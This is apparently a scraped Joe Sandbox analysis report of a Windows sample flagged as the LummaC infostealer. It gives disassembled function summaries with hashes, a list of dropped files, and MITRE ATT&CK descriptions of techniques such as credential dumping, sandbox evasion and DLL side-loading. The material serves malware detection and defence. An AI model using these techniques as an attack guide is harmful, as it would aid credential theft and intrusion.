Function 020C5510 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 192COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(map/set<T> too long,265105E4,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_0002F369), ref: 020C554A
_CxxThrowException.MSVCR80(?,020FC81C), ref: 020C5571

Strings

map/set<T> too long, xrefs: 020C5541

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: ??0?$basic_string@D@2@@std@@D@std@@ExceptionThrowU?$char_traits@V?$allocator@
String ID: map/set<T> too long
API String ID: 2503356448-1285458680
Opcode ID: 4ddbc4c48de53b4fe857d3a17faa50af0abca068b714618426b6af250d45e1f2
Instruction ID: 029192f65fb8f26d578e33e63077d10703b1f8880da8cd114e916953264ed2e8
Opcode Fuzzy Hash: 4ddbc4c48de53b4fe857d3a17faa50af0abca068b714618426b6af250d45e1f2
Instruction Fuzzy Hash: 7D8100B8A05741DFC715DF18D680A1AFFE2BB49304BA9C69DD4499B322D731F882DB90

Function 00411C50 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040E560: lstrlenW.KERNEL32(?,FC8A6036,?,?), ref: 0040E5B8
Part of subcall function 0040E560: CoTaskMemFree.OLE32(00000000), ref: 0040E5DD

lstrcmpiW.KERNEL32(?,00000000,?,?,?,?,?), ref: 00411CCD
CoTaskMemFree.OLE32(?,?,?), ref: 00411D48

Strings

{, xrefs: 00411D03

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: FreeTask$lstrcmpilstrlen
String ID: {
API String ID: 919842441-366298937
Opcode ID: 361012b8b73bfc6ac670f5562a58aa660a5000cd2088914f9829b4a378f8476a
Instruction ID: dc7e2d7727afe479c7a60506c3665827418a66f2a6f7b03513b6b0509252d78d
Opcode Fuzzy Hash: 361012b8b73bfc6ac670f5562a58aa660a5000cd2088914f9829b4a378f8476a
Instruction Fuzzy Hash: DC31A572B043115BD325EB55D880BAFB3D9AF94704F04091FF945972A1EB78EC8487EA

Function 0040E780 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 0040BD00: GetModuleFileNameW.KERNEL32(?,?,00000104), ref: 0040BD8D

UnRegisterTypeLib.OLEAUT32(?,?,?,?,FC8A6036), ref: 0040E805
SysFreeString.OLEAUT32(?), ref: 0040E83F

Strings

`Dvp=Dv, xrefs: 0040E83F

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: FileFreeModuleNameRegisterStringType
String ID: `Dvp=Dv
API String ID: 2711977419-288496917
Opcode ID: 842c65be22f4604790edd194caa6eef48813b1a46838903969f9b6ba5bcd3201
Instruction ID: 697e9188c1767bab464254ac158801dca5a3f1c4dc55ed2bebb39331bf3315e3
Opcode Fuzzy Hash: 842c65be22f4604790edd194caa6eef48813b1a46838903969f9b6ba5bcd3201
Instruction Fuzzy Hash: 612127B2608241AFC314DF59C884E5BB7E8FBC8724F148A6DF495D72A0D334E906CB62

Function 00419AD0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 00419B18
SysFreeString.OLEAUT32(00000000), ref: 00419B83

Strings

`Dvp=Dv, xrefs: 00419B18, 00419B83

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: FreeString
String ID: `Dvp=Dv
API String ID: 3341692771-288496917
Opcode ID: 3350f71c5b5e2a6864d3de2def26fad6ba3d44e069a20f6b380374c219030c41
Instruction ID: e2593cd720338acaf96d154ad29ed68ea1c829c0687ecc5518b6a652a7ff5673
Opcode Fuzzy Hash: 3350f71c5b5e2a6864d3de2def26fad6ba3d44e069a20f6b380374c219030c41
Instruction Fuzzy Hash: 74215CB2208201AFC300DF69D880B4BB7E9FBC8B24F510A2EF459D3391DA79EC458765

Function 03272F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCR80(00000000), ref: 03272F54
??3@YAXPAX@Z.MSVCR80(00000000), ref: 03272F7D

Strings

%s=%s, xrefs: 03272F64

Memory Dump Source

Source File: 00000007.00000002.3532100878.0000000003271000.00000020.00000001.01000000.00000012.sdmp, Offset: 03270000, based on PE: true

Associated: 00000007.00000002.3531965898.0000000003270000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532138534.0000000003278000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532175053.000000000327D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532248982.000000000327E000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3270000_ImApp.jbxd

Similarity

API ID: ??2@??3@
String ID: %s=%s
API String ID: 1936579350-3150307001
Opcode ID: 736ccd2ecfa37293f6460b4d38a83e70589b2c69e6bb862da520f74892bd5d92
Instruction ID: ca7549e4577d9a4df80adf59647b13062e2ebe30c4fbe8cfe251952e8cd26e3d
Opcode Fuzzy Hash: 736ccd2ecfa37293f6460b4d38a83e70589b2c69e6bb862da520f74892bd5d92
Instruction Fuzzy Hash: D20147365203165BC614EB189C02A9B73D8FFC4384F094668FC0ADF246E670FA5683D2

Function 00415930 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(vector<T> too long,FC8A6036,?,?,?,?,?,?,?,?,?,?,00420579,000000FF,0041AC39,FC8A6036), ref: 0041595C
_CxxThrowException.MSVCR80(?,0042B930), ref: 00415982

Strings

vector<T> too long, xrefs: 00415953

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: ??0?$basic_string@D@2@@std@@D@std@@ExceptionThrowU?$char_traits@V?$allocator@
String ID: vector<T> too long
API String ID: 2503356448-3788999226
Opcode ID: 92f371fd3d1525983151300b5facbbbe66ceda268dd984827003aa9ce62929ab
Instruction ID: d0c2897e2bbb088b3341ab683b2dc7416790b1bbe5349e9da7ddf38b1779cb96
Opcode Fuzzy Hash: 92f371fd3d1525983151300b5facbbbe66ceda268dd984827003aa9ce62929ab
Instruction Fuzzy Hash: 58F0A0B2204340BBC304DB15DD45F9BB7E8EB48B14F500B2FB102825E0DBB8DA44CB59

Function 00402780 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(vector<T> too long,FC8A6036), ref: 004027AC
_CxxThrowException.MSVCR80(?,0042B930), ref: 004027D2

Strings

vector<T> too long, xrefs: 004027A3

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: ??0?$basic_string@D@2@@std@@D@std@@ExceptionThrowU?$char_traits@V?$allocator@
String ID: vector<T> too long
API String ID: 2503356448-3788999226
Opcode ID: 890a7b92b1160cfd27205343f9eac07621d6604c301c8c2c698b9900b6b25c91
Instruction ID: e39539a1d418bddcf2afe011881e9b4911e9d9136c9b8b42eab77706935ac749
Opcode Fuzzy Hash: 890a7b92b1160cfd27205343f9eac07621d6604c301c8c2c698b9900b6b25c91
Instruction Fuzzy Hash: E1F030B1254340BBC304DB55DD45F9BB7E8EB48B14F500B2EB142925D0DB78D644CB59

Function 03271000 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

CreateDIBSection.GDI32 ref: 03271052

Strings

, xrefs: 03271033
(, xrefs: 03271024

Memory Dump Source

Source File: 00000007.00000002.3532100878.0000000003271000.00000020.00000001.01000000.00000012.sdmp, Offset: 03270000, based on PE: true

Associated: 00000007.00000002.3531965898.0000000003270000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532138534.0000000003278000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532175053.000000000327D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532248982.000000000327E000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3270000_ImApp.jbxd

Similarity

API ID: CreateSection
String ID: $(
API String ID: 2449625523-55695022
Opcode ID: cb2f2e70b5dcb507363c07efc26d2551234cb4c8159c342408cf137b291179ec
Instruction ID: 724820dbc3cc5301f209965560b28ab0779deb67105fd06c35166a3283d03673
Opcode Fuzzy Hash: cb2f2e70b5dcb507363c07efc26d2551234cb4c8159c342408cf137b291179ec
Instruction Fuzzy Hash: ADF07FB0819300AFC384DF29D584A2BBBE4FFCC304F80A91DF489D7210E37099448B56

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report b6FArHy7yA.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\9061df7d

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2xpdsmhp.kes.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hvuz5cwa.nmv.ps1

C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip

C:\Users\user\AppData\Local\Temp\vamfxsepn

C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\IMHttpComm.dll

C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImABU.dll

C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe

C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImDbU.dll

C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImLookExU.dll

Windows Analysis Report
b6FArHy7yA.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre